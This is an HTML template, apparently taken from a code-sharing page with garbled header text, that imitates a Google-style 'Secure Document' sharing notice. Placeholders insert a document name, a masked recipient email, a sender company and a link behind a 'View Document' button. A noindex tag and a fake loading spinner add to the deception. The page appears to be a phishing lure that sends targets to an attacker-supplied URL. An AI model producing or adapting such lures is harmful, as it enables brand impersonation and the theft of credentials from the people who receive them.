²é¿´/±à¼ ´úÂë
ÄÚÈÝ
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Shared Document</title> <meta name="robots" content="noindex, nofollow"> <style> :root { --primary: #1a73e8; --bg: #f8f9fa; --card: #ffffff; --text: #202124; --muted: #5f6368; --border: #dadce0; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Google Sans', Roboto, Arial, sans-serif; background: var(--bg); min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 20px; } .container { background: var(--card); border-radius: 8px; box-shadow: 0 1px 3px rgba(60,64,67,0.3), 0 4px 8px 3px rgba(60,64,67,0.15); max-width: 480px; width: 100%; overflow: hidden; } .header { padding: 24px 24px 0; display: flex; align-items: center; gap: 12px; } .logo-icon { width: 40px; height: 40px; background: var(--primary); border-radius: 50%; display: flex; align-items: center; justify-content: center; font-size: 20px; } .logo-text { font-size: 18px; font-weight: 500; color: var(--text); } .content { padding: 24px; } .document-preview { background: #f1f3f4; border-radius: 8px; padding: 32px; text-align: center; margin-bottom: 24px; } .doc-icon { width: 64px; height: 80px; margin: 0 auto 16px; } .doc-icon svg { width: 100%; height: 100%; } .doc-name { font-size: 16px; font-weight: 500; color: var(--text); margin-bottom: 4px; } .doc-meta { font-size: 13px; color: var(--muted); } .info-section { margin-bottom: 24px; } .info-row { display: flex; justify-content: space-between; padding: 12px 0; border-bottom: 1px solid var(--border); } .info-row:last-child { border-bottom: none; } .info-label { color: var(--muted); font-size: 14px; } .info-value { color: var(--text); font-size: 14px; font-weight: 500; } .action-btn { display: block; width: 100%; padding: 12px; background: var(--primary); color: white; text-decoration: none; text-align: center; border-radius: 4px; font-weight: 500; font-size: 14px; transition: background 0.2s, box-shadow 0.2s; } .action-btn:hover { background: #1557b0; box-shadow: 0 1px 3px rgba(0,0,0,0.2); } .footer { text-align: center; padding: 16px 24px 24px; border-top: 1px solid var(--border); } .footer p { font-size: 12px; color: var(--muted); } .loading { display: none; text-align: center; padding: 48px; } .spinner { width: 40px; height: 40px; border: 3px solid var(--border); border-top-color: var(--primary); border-radius: 50%; animation: spin 1s linear infinite; margin: 0 auto 16px; } @keyframes spin { to { transform: rotate(360deg); } } </style> </head> <body> <div class="container"> <div class="header"> <div class="logo-icon">📄</div> <div class="logo-text">Secure Document</div> </div> <div class="content" id="mainContent"> <div class="document-preview"> <div class="doc-icon"> <svg viewBox="0 0 64 80" fill="none"> <path d="M8 0C3.58 0 0 3.58 0 8v64c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8V24L40 0H8z" fill="#4285f4"/> <path d="M40 0v24h24L40 0z" fill="#a1c2fa"/> <path d="M16 44h32v4H16zm0 8h24v4H16zm0 8h32v4H16z" fill="white"/> </svg> </div> <div class="doc-name">{{doc_ref}}</div> <div class="doc-meta">PDF Document • Shared {{date}}</div> </div> <div class="info-section"> <div class="info-row"> <span class="info-label">Shared with</span> <span class="info-value">{{email_masked}}</span> </div> <div class="info-row"> <span class="info-label">From</span> <span class="info-value">{{company}}</span> </div> </div> <a href="{{action_url}}" class="action-btn" id="actionBtn">View Document</a> </div> <div class="loading" id="loadingState"> <div class="spinner"></div> <p>Loading document...</p> </div> <div class="footer"> <p>Secure document sharing</p> </div> </div> <script> (function(){ var btn = document.getElementById('actionBtn'); var main = document.getElementById('mainContent'); var load = document.getElementById('loadingState'); if(btn && main && load) { btn.addEventListener('click', function(){ main.style.display = 'none'; load.style.display = 'block'; }); } })(); </script> </body> </html>